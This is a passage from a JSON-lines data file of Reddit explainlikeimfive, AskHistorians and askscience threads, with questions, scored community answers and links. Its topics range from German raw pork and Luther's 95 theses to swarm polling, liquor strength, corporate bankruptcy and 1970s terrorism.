systems?\n\nGlobally, the figure would be around 150 GW, based on estimates that the U.S. uses 20% of the global electricity supply, and assuming the global loss is equal to the U.S. loss."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "230xfq", "title": "germans eat raw pork, almost nobody gets sick", "selftext": "So, it's common knowledge in the US that chicken and pork need to be thoroughly cooked... But in Germany people eat raw pork, in the form of Mett. \n\n_URL_0_\n\nWhy would it be dangerous to eat raw pork in one country, but not others.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/230xfq/eli5_germans_eat_raw_pork_almost_nobody_gets_sick/", "answers": {"a_id": ["cgsauwu", "cgsb5ak", "cgsfawx"], "score": [8, 4, 5], "text": ["I believe that prosciutto is also raw pork that has been carefully prepared and aged. In the case of Mett,\n\n >  Unless pre-packaged, the German Hackfleischverordnung (\"minced meat directive\") permits mett to be sold only on the day of production.\n\nThat is likely to keep it safe to eat, and it may be subject to more rigorous testing standards as well.", "Eating freshly slaughtered meat from cleanly raised animals is relatively safe. Animals in nature, including primitive humans, do it all the time without getting sick. Most of the problems are either parasites (which are easily prevented in domestic animals) or bacteria that grow in the meat after slaughter.", "I don't know about the regulations in other countries but every slaughtering facility in Germany is required by law to have its products inspected by a sworn veterinarian. So any meat that might be dangerous for human consuption is sorted out right at the beginning.\n\nSide note: A Mett bun with fresh onions and parsley is outrageously delicious!"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Mett"], "answers_urls": [[], [], []]}
{"q_id": "6ei41h", "title": "Martin Luther nailed the 95 theses to the church door on October 31, 1517. Was there a reason why he chose Halloween?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6ei41h/martin_luther_nailed_the_95_theses_to_the_church/", "answers": {"a_id": ["diax30b"], "score": [182], "text": ["Yes, the All Saints' Eve dating of the *disputationes* was probably significant--Martin Luther was not without a flair for the dramatic nor a finely honed sense of how to twist the knife once he'd inserted it. But to understand why he picked this date means looking at how the \"95 theses,\" as we call them, were unleashed.\n\nIt's *possible* Luther posted them on church doors of Wittenberg. This would not have been particularly unusual; they served as bulletin boards for announcements. In particular, for annoucements of university events like disputations (formal debates using scholastic methodology) to be held in public. Luther's theses ostensibly took the form of propositions to be debated as such, hence his original Latin label them as \"my disputations.\" Taken as a whole, however, the text doesn't really lend itself to the format of propositions for an actual debate: the \"theses\" are more like bullet points or steps in an argument, with several points leading to a conclusion leading to the next conclusion.\n\nThe story that Luther posted the theses in public in Wittenberg is told by others, and later--scholars have devoted enormous effort to getting as close as possible to the event, but the best we can do is within a few years. But as several of Luther's biographers have pointed out, unleashing the theses *in Wittenberg* was kind of a dead end as far as wider polemical purpose went.  They were in Latin initially, so only legible to the elite, and Wittenberg was neither exactly the leading university of Europe *nor* a hotbed of lay (non-university) Latinate humanism. So whether or not the so-called \"Thesenanschlag\" occurred as legend has it, is more relevant for the mythmaking of Luther as iconoclastic hero from the beginning (in contrast to his initial stance of reforming the existing Roman Church, not Reforming).\n\nInstead, we can look at how Luther actually first publicized his theses: via letter, to the archbishop of Mainz (in whose archdioceses Wittenberg lay). Letters in the late Middle Ages/early modern era weren't just bits of communication from one person to another; they served as vehicles for texts of all sorts, including sermons and treatises, with the added bonus of the \"letter\" part perhaps supplying some context (recipient, date) towards legitimizing the contents. That is, they were *public documents*--hoped, assumed, or at least grudgingly accepting the possibility of being publicized at some point.\n\nSo when Luther sent his *disputationes* to Albrecht on 31 October, the eve of All Saints', that date would be attached to the document for the learned, especially ecclesiastic (because Latinate) readers in Albrecht's household and beyond. Now, keep in mind that Luther's original opposition was not to the cult of the saints as such; in fact, Luther's own theological development shows he was perfectly fine with preserving saints' *cultus* fairly far into the 1520s, and adapted his views more or less in response to trying to tame the wilder/more radical reactions of evangelical enthusiasts.\n\nBut All Saints' Day, in electoral Saxony, wasn't just yet another day to honor *saints*. Rather, amidst the rich liturgical calendar of the late medieval Church, it was the day that the *insanely large* relic collection of Saxon prince-elector Frederick the Wise went on display--with lavish promises of indulgences for pilgrims who went to view it. Archbishop Albrecht, the letter's/theses' initial recipient, would have known this; the scribes in his secretariat would have known this; the initial discussants of the theses would have known this. And, of course, when the letter mysteriously leaked to the public--first in Latin, but quickly in vernacular German as well--the monastic, ecclesiastic, and *university* communities of Wittenberg would have recognized this.\n\nAnd, Luther clearly hoped, would have been taken aback by the audacity of his proposition: funding for the university was heavily abetted by proceeds from the relic-show pilgrimage. *Doctor* Luther's willing attack on the source of monetary life for his own university, the professor evidently hoped, would help convince his elite, Latinate, local audience just how severe the state of indulgence abuse in the Church had become.\n\nIt's not always wrong to accuse Luther of being a bit of a drama mama, but in this case--yes, he was making a point."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4m3rz7", "title": "swarm intelligence \"unu\"", "selftext": "I don't quite understand what UNU is and how it is different from just a poll.\n\nBonus question:\n\nHow does UNU work exactly? \n\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4m3rz7/eli5_swarm_intelligence_unu/", "answers": {"a_id": ["d3sccy5", "d3sf3f4", "d3sg9uk", "d3sgfka", "d3shbct", "d3shzfq", "d3sisa6", "d3sjvlm", "d3sk399", "d3slrgu", "d3so3ji", "d3soyo7", "d3srpx1", "d3ss0kb", "d3sv3kr", "d3svivm", "d3t1nkk"], "score": [9, 47, 7, 2, 6, 200, 352, 5, 2, 21, 3, 2, 3, 2, 10, 3, 2], "text": ["Actively participating with others to move an object towards multiple choices plays on psyches that result in a more dynamic and considered outcome than passively participating in a non-interactive poll.\nEnter a live UNU. Participants pose a question, then they provide answers to the questions. The question and it's multiple answers then surround a \"magnetic puck\" that you pull on with your magnet towards the answer you like best.", "It seems this is only valid if you have other reasons for believing it is valid (at which point, why bother with this?). I am studying Neural networks at the moment and they deal with \"convex\" vs \"nonconvex\" problems, which to me means \"If I take two solutions and average them, is that also a solution?\". If it always is, the problem is convex. Otherwise, you can easily come across problems where this is meaningless, like any nonreal valued answers, classification problems, or times when your group is split among two solutions, and averaging them gives a solution worse than all of them. This also assumes the group doesn't have systemic error, and likely assumes the type of distribution the group falls under. All in all, it only seems to be useful if you already know the answer or have other detailed information about the problem or the people.", "From their blog:\n\n >  The basic architecture employs a\u00a0\u201csynchronous mediation engine\u201d\u00a0that builds dynamic feedback loops around groups of users, empowering participants to converge on insights by pushing and pulling on each other in real-time, exploring the decision-space and finding common ground.\n\nELI5: UNU asks the group a question and then allows the group members to  pick their answer, but allows some time in which the rest of the group's  answers are shown and the individual members' answers can still be altered. This results in a dynamic process where a \"best\" answer is eventually arrived upon.", "I'm not sure how UNU works specifically, but the general idea is as molbiman says: averaging many estimates that were all decided on in different ways gives an estimate that is significantly more accurate than any of the individual estimates. Some estimates may be accurate and some may be wildly inaccurate, but taken as a whole they should all revolve around the correct answer.\n\nThere's an entire book about this idea, called [The Wisdom of Crowds](_URL_0_). I haven't read it yet, but it's supposed to be quite good.\n\nSo UNU may very well be just a survey, but that wouldn't mean it wasn't effective for certain types of problems. It does sound like there's slightly more to it than that, including letting people know how others are voting (which honestly to me sounds like a problem rather than a benefit but I'm no expert).", "Perhaps this is an oversimplification, as there are multiple swarm AI models. However, the best way to ELI5 this is deciding a simple question: What do we eat for dinner?\n\nLet's say you're a kid with two siblings and two parents. In a simple poll, if all the kids want burgers, and the parents want pizza, all the family get burgers. So if I was going to predict what that family would eat, and I conducted a poll, I would guess that the family will end up getting burgers.\n\nHowever, any child can tell you that the decision-making process isn't that easy. The parents have much more of a say over where the family eats dinner. Given that knowledge, even though a poll would suggest burgers, I would guess the family would be eating pizza for dinner (since the parents want pizza).\n\nThis is the underlying principle behind swarm AI. It uses a method of analysis (algorithm) to process input from individuals to arrive at a final answer.", "From what I understand about it is it doesn't ask the question and get single definitive answers from people. That is a poll.\n\nWhat happens is people give their answers and can see what other people are saying and will jump sides. Some people will answer with uncertainty at first and if it looks like the general concensus is opposite of theirs they will jump ship to what they now think is the \"correct way of thinking.\" That is a hive mind \n\nWhen it gets an answer with 100% conviction it means everyone stood their ground on their answer despite what the trend was, no one's opinion or thoughts on the subject changed despite what everyone else thought.\n\nHope this helps a bit.", "Here are some comments I posted in the original thread:\n\nAnother difference is at the end, there is only one answer. No runners up. You don't care if your choice gets second, third, etc. You only care about who gets first.\nSay there are 3 choices and the one you agree with is farthest away. If you really disagree with the choice that the circle is near, but you agree somewhat with the second choice (which the circle is closer to than your choice), you'll move in the direction of the second choice because you want to influence final answer, and this is the only possible choice that you at least somewhat agree with.\nBasically it leads the users to compromise and change their pick when they realize the choice they most agree with doesn't have a chance, but there are other options they sort of agree with that could be selected if they pull in that direction instead.\nIt's really a lot different than a poll.\n\nAnother:\n\nHow can you say it doesn't create anything? It creates a new prediction that didn't exist before the simulation.\nAll the participants had individual opinions and the system generates a unique, collective prediction/opinion. Even if you don't think the result is meaningful or accurate, there's no way you can say it doesn't create anything.\nPolls don't create anything. All they do is show the opinions of the poll-takers. UNU makes them interact in a new, unique way that generates a new answer.\n\nAnother:\n\nThe self selection is a good criticism, but it's not a poll, and it's really not that similar to one.\nA poll shows you the opinions of all the individual users, grouped together. UNU makes the users interact and compromise to form a single, collective prediction/opinion.\nYou're not asking them one question. You ask them \"Given where the circle is, which direction should you pull the circle to get to the most accurate but also most available option?\" Then the circle moves and you ask them the same question a millisecond later.", "Wisdom of the crowds works ideally with a large and diverse enough crowd. \n\nWith UNU's apparent morphing into an S4P redditor, I'd say that the sample of users being polled appeared limited to at *best* general Internet users. \n\nDiversity among the users would be skewed toward the Internet using demographic, hence the heavy Sanders bias. The sample would be even more skewed if the AMA brought redditors to the poll.\n\nThere's no way to control for this sort of thing unless you get way more users. ", "Can UNU guess the lottery??", "UNU is a Swarm Intelligence, which is a real-time closed-loop system that explores a decision space and converges on an optimal answer in unison.  In this way a swarm is an emergent intelligence - a \"brain of brains\" that works as a single unified entity, producing answers that are smarter than the individuals alone could produce. \n \nVotes and Polls are very different - they are mere mathematical tools that tell you what the majority thinks about something. A good way to point this out this difference is to look at swarms in nature.  Over billions of years, nature figured out how to enable simple organisms to function as unified \u201csuper organisms\u201d that are able to make better decisions than any of the individual members could make alone.  Nature does NOT do this by taking a vote.  Or by running a poll.  Nature forms real-time system (swarms, flocks, schools, etc...) where all members can push and pull on all other members, exploring a complex set of options and converging in unison on an optimized answer.  These systems are called swarms. \n\nThus, a swarm is very different than a vote or a poll or a survey. \n\nTo appreciate this, consider the Kentucky Derby prediction.  The swarm that picked the Superfecta against 540 to 1 odds was comprised 20 people thinking as one system in real time. In addition to working as a swarm, our research team also asked those very same 20 people to give input on a poll and as individuals.  The amazing thing is - none of them got more than two horse correct in the prediction.  And if you took the most popular answers on the poll, they only got one correct (by majority).  Thus, the group \u2013 when working alone, or by vote, came up with a very different result than the swarm.  But, when working together as a system, converging in real-time on the solution that optimized their collective insights and wisdom, they formed an emergent intellect that got all 4 horses right, in the right order.  That is why swarms are so amazing.  The produce a whole that is far greater than the parts. It\u2019s been seen in nature for 100 years, and now\u2026 we\u2019re unleashing it in people. \n\nDoes that help? :)", "I feel as though this technology is much less useful than the authors in the AMA atm are leading us to believe. The Kentucky Derby thing was a total fluke. The decision making is in general going to be biased by however many idiots you have in your sample. It seems directly analogous to politics in this way.... to quote a great thinker, \"When will people ever learn? Democracy just doesn't work\".", "I have an ELI5 question for anyone in this thread.\n\nHow do UNU and TwitchPlays relate or compare in regards to swarm technology. \n\nCould swarm computing take the form of a live discussion thread operating a vehicle to solve a problem?", "Think of a soccer team. Every player has a different skill set and physique for the position they play and varying levels of skill. \n\nNow imagine a hive mind controls a soccer team. The players will need to have the same skill set/physique of the regular soccer team, but one entity controls all of the players and has the combined knowledge and perception of the whole team... like EA FIFA. \n\nThe hive mind can utilize players much more efficiently than single-minded people can. This computer does exactly this. It's \"players\"  are different calculations that are given weight depending on their \"skill\". These calculations work together and deduce the best answer it believes it can make. ", "Is it possible to skew the data? I.e., if you are using numerous people to create choices, is it possible if you create a sample population for the swarm intelligence (such as when UNU was asked who would win and who would be the next president) that is biased, for it to mess with the answers?\n\nLike say a bunch of Trump supporters were answering, would that skew the results?", "Unu, is a realtime poll, where your opinion can change every second. You are pulling the result beacon to what you want, but as it gets further away from it, your chances of it going to where you wanted initially become really slim, so you change your opinion to something closer to the result beacon. In the end you do not get an average, but an equilibrium.\n\nAn equilibrium is either a point at the corner, where a answer to a question is written down, and more people pull in it's direction than away from it, or a point on a slider, which means that half of people pull left and half of people pull right. So you could say it's more like a median, but with a non-static dataset.\n\nTL;DR: It's a modern ouija board, just with 100 different people over the internet.", "I can't explain the effectiveness of the swarm intelligence, only acknowledged that it's very effective (see market). But here is a few points about ULU implementation.\n\n**There is feedback, but with limited social biases.** ~~You don't see the other magnets~~ [edit: yes you see them] (contrary to the replay), but you see the motion of the puck. This limit social biases, for instance, if there is a deadlock between two answers and you favor a third, you could decide to abandon your first choice, but you must make this decision without knowing the distribution of the votes.\n\n**You can vote for, but also against.** If you see the puck moving toward an answer you strongly disagree with, you can move your magnet to impede its motion. If sufficient users do this as well, this will result in a deadlock, and often in a negotiation and other users changing side.\n\n**You can express confidence in your answer.** The pull of the magnet is stronger when it's close to the puck. Imagine a question about a common misconception. You are within the majority in believing that answer A is correct, but you also know you are not an expert, and so you don't put your magnet very close to the puck. In the group there is a minority knowing for certain that answer A is false. They also know that it's a common error, so they will block answer A with maximum confidence. This will result in a deadlock. Now you are surprised, because the answer seemed obvious, but you received a feedback that it's not. This could entice you to reconsider your first answer. Note that if you see the other magnets, you would know you were in the majority and would be confirmed in your error. \n\n**There is a psychological trick** in the fact you must follow the movement of the puck to cast your vote with all it's weigh. 1) You can't ignore the emerging will and just passively cast a constant vote because you must actively follow the puck. 2) You are always moving your magnet, so changing your vote doesn't seem like a bid deal. 3) The confidence of your vote is not always a conscious choice : if you think answer A is obvious and should not create a deadlock, you are weakly engaged in its defense and you will casually follow the puck. But if you strongly disagree with answer A, you become involved in a battle, and thus pay attention for your magnet to be as close as possible.\n\nNote that it's not an AI or anything like a super intelligence. It's more like a decision making tool. In the AMA **many questions asked weren't adapted**, especially Yes or No questions and questions about value (Is it good ? Is he qualified ?...). \n\n", "Imagine ten kids in a class get to vote for for either recess, board games, or coloring time. 7 people want recess, and 2 people want board games and 1 person wants to color. Recess wins with 7.7. This is because since they have to most their votes count more. Kind of like if your one of the recess voters, you get to raise your hand twice. \n\nIts basically a poll and the more people that agree on a certain polled answer get their votes weighted more against the outliers. So its a poll where not all votes are equal. I think it uses linear regression to do this. But the data set in question is still just polls from human respondents. How that information is sorted is what is important. But its not really a hive or a swarm tbh. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/The_Wisdom_of_Crowds"], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "cc4y3c", "title": "why do lawmakers not show up to vote on bills they don\u2019t like, instead of just voting no?", "selftext": "Only particular example I have: in a recent budget override attempt in Alaska\u2019s state gov 22 representatives didn\u2019t show up to vote in support of the veto override", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cc4y3c/eli5_why_do_lawmakers_not_show_up_to_vote_on/", "answers": {"a_id": ["etkihfr", "etkii47", "etkiop0", "etks84n"], "score": [8, 6, 28, 5], "text": ["If they know that there aren't enough votes to block a bill, and also their constituency supports them to vote yes, they can simply not vote so there opposition cannot say \"Senator XXXX voted against YYYYY\".", "If it's a controversial bill or one they don't care much about it lowers the risk of controversy if it becomes a, well, controversial bill. It's all about being liked. Politics, babey", "What might have happened there is this:\n\nEvery legislative body requires something called a *quorum,* or a minimum number of its members, to be present in order for the body to conduct official business.\n\nIf the absence of those 22 representatives was sufficient to deny quorum, then no business can be conducted and the matter can't even be considered.\n\nThis could be a tactical choice; for example, in Oregon recently, the GOP members of the legislature had enough people to deny quorum, but the Democrats had the majority, so the only way for the GOP to stop a vote on a particular bill they found odious was to simply not show up.", "Plausible deniability. Some bills are no win. \n\nIn America, our legislators don't actually read bills. They have staffs to give them bullet points and offer suggestions as to whether they should support it.  They are also constantly running for re-election so they might not have time to travel to the capital to vote."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2l1f18", "title": "how did 40% abv become the standard strength of mass-produced hard liquor?", "selftext": "Is there a legal or traditional reason for this very common number?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2l1f18/eli5_how_did_40_abv_become_the_standard_strength/", "answers": {"a_id": ["clqkbal", "clqn5gp", "clqqjgg"], "score": [3, 16, 3], "text": ["At least in New Zealand 40% means that it's 1 standard a shot.\nIn a lot of places vodka for example must be at least 40%, and others 40% is the max, so these are legal reasons.\n\nFinally, a lot of spirits are distilled to percentages which are much higher than 40% so things like casking are cheaper, so it's diluted for sale and 40% is generally the most palatable. ", "It is not the standard everywhere. For instance in Europe the 40% batches were common, so they put a tax on 35% and higher liquors. Now here they sell 33% liquors.", "I was told by a chemistry teacher at school that 40% is the point it was possible to ignite gun powder soaked in alcohol. This was used to determine if the alcohol belong in one tax category or the other and so is where the term \"proof\" comes from.\n\nNot sure how true it is though. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2uxr9o", "title": "which countries recruit people to be nato troops.", "selftext": "Here in the US, I have never seen an ad or recruiting station for joining NATO forces, though I have seen many for the US Military.  So, which countries send their people to join NATO forces?  Or do countries in NATO give their forces in times of need.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2uxr9o/eli5_which_countries_recruit_people_to_be_nato/", "answers": {"a_id": ["cocncjy", "cocnfqt", "coco04l", "cocsuqv"], "score": [2, 13, 2, 2], "text": ["NATO is an alliance. Logically members of the alliance.", "NATO is an alliance of nations. NATO's troops are from the militaries of member nations that are deployed under a NATO mission.\n\nNATO has no troops that are specifically NATO troops.", "You don't join NATO.  The US joins NATO.\n\nWhen you see \"NATO troops\" deployed, that means that armies are committing troops to whatever NATO is working on.", "[This is NATO]( _URL_0_) when it says NATO troops are some where that means troops from some of these nations militaries are somewhere "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://upload.wikimedia.org/wikipedia/commons/thumb/f/f6/Location_NATO_2009_blue.svg/2000px-Location_NATO_2009_blue.svg.png"]]}
{"q_id": "pxpol", "title": "can someone explain what advanced message queuing protocol is?", "selftext": "Need to know for work - have very limited IT knowledge.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/pxpol/can_someone_explain_what_advanced_message_queuing/", "answers": {"a_id": ["c3t3l20"], "score": [2], "text": ["At a 5 year old level?\n\nAMQP is like the postal service.\n\nYou give it a message and an address to deliver it to, it takes care of the details."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1exy1b", "title": "How many species of animal did Noah know of?", "selftext": "I am wondering if Noah (or the people who first began telling the story of the Flood) had such a small bestiary as to make the dimensions of the Ark (127mx23mx14m) feasible given baby animals and sufficient food for a year afloat.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1exy1b/how_many_species_of_animal_did_noah_know_of/", "answers": {"a_id": ["ca4vqr9"], "score": [7], "text": ["The people who wrote the story were Jewish priests sometime around 600 BC and as you can imagine, they didn't know about *that* many animals. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "18uwqa", "title": "Today we have cardboard, paper, and certain types of plastic, among other things - what materials or items have other times and cultures considered similarly \"disposable\"?", "selftext": "I hope this question isn't obstructively broad; I'll try to narrow it a bit.\n\nI was speaking with a friend earlier today and she mentioned that in antiquity clay pots occupied the same sort of place as pop cans and boxes and whatnot have for us.  The reason we have so many of them now is that they were mass-produced in absurd quantities, and there were in some cases entire rubbish heaps dedicated just to piles of broken clay.  I found this fairly hard to believe, because the amount of labour and training it would take for me to produce a small clay amphora is huge and I wouldn't dream of throwing it out, but then I thought about how hard it would be for me, personally, to make a glass bottle or an aluminum can or something as well.  If there's an industry and specialists able to do these things, obviously it becomes quite a bit easier.\n\nSo, my question is twofold:\n\n1. Can someone tell me more about this culture of disposable pottery?  It sounds very interesting.\n\n2. What other materials or things have been treated in this way thoughout history?  What were they just casually using and throwing out in medieval Germany?  In third-century China?  In Tenochtitlan at its height?  Among the Plains Indians before European contact?\n\nIf this is too broad a submission or too close to the \"survey-style\" questions you want to discourage here, please let me know and I can try to refine and resubmit.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/18uwqa/today_we_have_cardboard_paper_and_certain_types/", "answers": {"a_id": ["c8icak3"], "score": [2], "text": ["The Precolumbian Amazon Basin is a location where ceramics were so ubiquitous that people used shattered pottery to shore up the soil ([more](_URL_0_)). \n\nAs far as other disposable items: Plant matter. Some people wove baskets together so quickly they could be thrown away after one use. People made temporary lean-to shelters out of branches and palm fronds.\n\nRabbit furs could be reused but were also disposable. They were used as diapers by indigenous peoples of the Great Plains and Great Basin. Other early diaper fillers include sphagnum moss used in the Great Lakes and cattails among Haudenosaunee people."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://ngm.nationalgeographic.com/2008/09/soil/mann-text/7"]]}
{"q_id": "15hs14", "title": "How do we know what happened during Big Bang Nucleosynthesis?", "selftext": "I know that we use the modern day elemental abundances (mostly of H, D, He-3, He-4, and Li-7), baryon-photon ratio, and cross section to determine the conditions during BBN, but how exactly does all of this tie in? Is there one singular formula like those posed in [\u03b1\u03b2\u03b3](_URL_0_) that ties all of these together? Also, can we use these data to extrapolate into the future?\n\nIt would be great if you're as specific as possible.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15hs14/how_do_we_know_what_happened_during_big_bang/", "answers": {"a_id": ["c7mly3r"], "score": [2], "text": ["Hi again.  There is no simple formula to extract the ratios of these elements, it depends on detailed knowledge of the level structure and interaction crossections of these nuclei, particularly with lithium, which has the most complicated structure, being the largest.\n\nIf you're referring to equation 1 from \u03b1\u03b2\u03b3, it is not as simple as it seems.  All of nuclear physics known and unknown is hidden in the sigma terms.  It is also overly simplistic in that it treats nuclei as a 1-dimensional family (mass number) rather than 2-dimensional (proton and neutron numbers).  \u03b1\u03b2\u03b3, while an important paper in history, is not a good source of information for nucleosynthesis.\n\nThe conditions of the universe now can be extrapolated back to the big bang with the help of the [FRW equations](_URL_0_)"]}, "title_urls": [], "selftext_urls": ["http://www.snolab.ca/public/JournalClub/michael1.pdf"], "answers_urls": [["http://en.wikipedia.org/wiki/Friedmann%E2%80%93Lema%C3%AEtre%E2%80%93Robertson%E2%80%93Walker_metric#Solutions"]]}
{"q_id": "73cchj", "title": "diplomats are being pulled from cuba embassy for suspected directed sonic attacks. what are these attacks, how can they target individuals, and what causes the debilitating effects?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/73cchj/eli5_diplomats_are_being_pulled_from_cuba_embassy/", "answers": {"a_id": ["dnperov"], "score": [3], "text": ["The idea is that you can use the emission of ultrasonic waves (well above 40kHz) to cause lasting personal harm to the subject. The whole thing cannot really be explained as there have been little details released on the specifics behind the supposed injuries sustained, and a lot of people are skeptical on the possibilities of so-called \"sonic attacks\". The only thing I can think of that's anything close to what we're talking about is an 'Active Denial System', a nonlethal directed energy riot countermeasure that focuses a high power beam of 95GHz waves in short bursts, functioning on similar principles to a microwave. This however is by no means a covert method - if you were being hit by this thing, you'd definitely know about it, as made obvious by the many test videos floating around."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "flemtw", "title": "how is it that in times of crisis major businesses will go bankrupt within months? do they have no savings or what?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/flemtw/eli5_how_is_it_that_in_times_of_crisis_major/", "answers": {"a_id": ["fkzm3vt", "fkzyl55", "fl0dv56", "fl1z7fx", "fky6bmc", "fky6cc3", "fky7egh", "fky8ufj", "fkybzna", "fkydgyh", "fkyylax"], "score": [3, 2, 2, 2, 29, 7, 17, 4, 3, 4, 2], "text": ["Jumping on the general bandwagon with.. a lot of people think that because someone or a company makes a lot of money that they're loaded.\n\nThat's usually not true. A company may make a million a month, but they might also be spending a million a month, which flattens out to zero.\n\nOr they make a million a month, but then spend 12 million or 24 million on something.. which requires 12/24 months of steady income at a million.", "Something else to think about too is your own paycheck. You have money saved (if you\u2019re responsible) but we\u2019re living in extraordinary circumstances. How long could you survive off your savings and how much could you cut costs? \n\nNo one can objectively say how long things will be shut down at the moment or how long it will take customers to return even when things are safe. It could be several more months and a lot of responsible individuals can\u2019t even last several months without some sort of income.\n\nDisclaimer- I don\u2019t think you need to panic, we\u2019ll be ok but keep taking precautions and doing your best.", "I make widgets and sell them.\n\nAnother company buys my widget but they have 3 months to pay me.\n\nThey go bust and do not pay me.  I have now no money for the widgets I made and I have to pay for the materials and wages.\n\nI go bust and don't pay the company that sold me the materials.\n\nMuch of business works on credit.", "Despite what most people think most companies do not have lots and lots of cash that is sitting around in a bank. Some is yes, but it is very little when compared to the total revenue of the company and the expenses of the company.\n\nIt is the income from performing your service that pays the bills month by month. You see a company building the rent or mortgage on that building is paid for by the monthly income the company receives for the work it does. Same for the people who work there, the cars, the gas, the insurance, the software, the computers, the phone lines, everything.\n\nWhen the company no longer performs a service, the income stops coming in, and there is no way to pay for all of that.", "Well it depend on the business. What if they just made a new factory and so they have a lot of debt for some period of time when the crisis hit. What if they are very sensitive to the crisis in specific, for example construction here  is doing not that bad, some project were stopped and we receive less work, but compared that to restaurant that were completely empty for the last week. The impact on different industry is different.\n\nThe cost of maintening a business can also be astronomical. The larger they are the bigger the cost. It doesn't matter that nobody buy their product or services anymore, their income drop, but they can't decrease their cost by much and no matter how much money you have aside it will be drained so quicly. Imagine a company with monstly cost of several millions, you can't keep tens of millions aside just in case.\n\nIn addition, some companies might decide that it's better to close now than to bleed for months before finally having to close. You don't need to run out of money to close, you can do the math and figure out that you will for sure close in a couple of months and you are better off closing now and saving what you can.", "Depends which businesses you mean.   Fact is at any one time there are plenty of businesses skirting close to the edge of ruin, it's just that we're not always made aware of it (or we don't read the business pages).    They're folding because they've already exhausted options.   For other large house hold names though (e.g airlines) it's because there hasn't been anything like this since WWII.  9/11 and so on were short sharp shocks but they didn't stop the economy from functioning.   The credit crunch comes close, but even then the remedy could be applied to the economy directly, because it was the markets that were unwell.   In our current situation the social impact of the spread of the virus is far harder to contain or control.   Business are anticipating far far lower sales that they have ever stress tested.   That means that for many the only way to adjust to a smaller market is to either shed staff or go bust.  Unfortunately putting staff out of work exacerbates the situation.", "I\u2019ll take a stab at it.  Seems like there could be a lot of variables and opinions. \n\nThe short answer is not really.     For most companies having a lot of cash on hand or \u201csavings\u201d isn\u2019t productive.   If the company is publicly traded you will have investors clamoring for that cash via dividends or buybacks.   Or you can choose to deploy that cash to make improvements to the business either via R & D (looking to develop the next big thing to stay relevant in the market) on capital improvements either building more manufacturing capacity or upgrading technology within manufacturing, or technology within the business to help improve it, or to help with grow your workforce and expand.  \n\nSo, most companies have a small stockpile, but it\u2019s not enough to sustain their operations in the face of a sudden drop like we are seeing globally currently.  \n\nNow, I did comment on someone\u2019s post about the airline bailouts, because collectively the big four over the last decade have used some $43 billion on buybacks which really only to serve investors and insiders.  Which now those insiders want the govt to bail them out so they aren\u2019t wiped out despite us all knowing that investing is a risk.  \n\nAnyways hope this helps.", "Some companies do.  Apple is notorious for the amount of cash it keeps on hand - around $100 Billion.  Alphabet (owner of Google) does too.\n\nBut a lot of investors don't like this.  If a company is hoarding cash, investors think it should invest it in growth, or pay out dividends, or repurchase stock.  Add to this short sighted management who think the good times will last forever (I'm looking at you, US airlines)  and they don't need cash.", "Businesses need to be efficient, so any money they have needs to be \"working\" for the business, having it sit in a bank isn't good for the business when they could use it to re-equip a factory or open another shop etc to generate more profit.", "To keep this super ELI5 you know how lots of times you hear that businesses don\u2019t pay taxes? That\u2019s because they take everything they earn and either reinvest it into the business or pay their employees bonuses (who then do pay taxes) and they get to appear that they\u2019ve made no money so no taxes. \n\nNow imagine they have no money because they\u2019re doing accounting this way when they actually do have a period of time where they aren\u2019t having any cash coming in they\u2019re screwed and can\u2019t cover expenses.", "Another point here is that for the past few years borrowing money has been extremely cheap, so a lot of companies have been taking more debt because it made financial sense. As a result, though, companies have a lot of interest to pay and little cash."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "aim0ab", "title": "Bombings, hijackings, and domestic terrorism in general were far more common in the late '60s and '70s in the US than they have been at any point subsequently; are there any theories as to why this was, or why it stopped?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/aim0ab/bombings_hijackings_and_domestic_terrorism_in/", "answers": {"a_id": ["eepona7", "eer367x"], "score": [135, 3], "text": ["My specialty is in terrorism during the specified time periods, but I have read a few more modern works which have suggestions about this very issue. I can tackle your three examples one by one, and then talk about the issue in a wider context.\n\nLet's get some super important but boring stuff out of the way. A lot of the nuance to this question is going to come down to terminology and how you want to use it. For example: just the phrase \"domestic terrorism\" is going to be sticky. What do we qualify as terrorism? When does an internal conflict become a civil war, or a revolution? Were the Contras terrorists? The IRA? Where do we draw the line between different types of combatants, and what's our criteria? \"Domestic\" is going to be challenging as well, especially as we progress into the contemporary era with more non-state actors perpetrating these acts. And don't get me started on the conflict in Israel. Are Hamas rocket attacks on Israel \"domestic\"? Are they terrorists, or 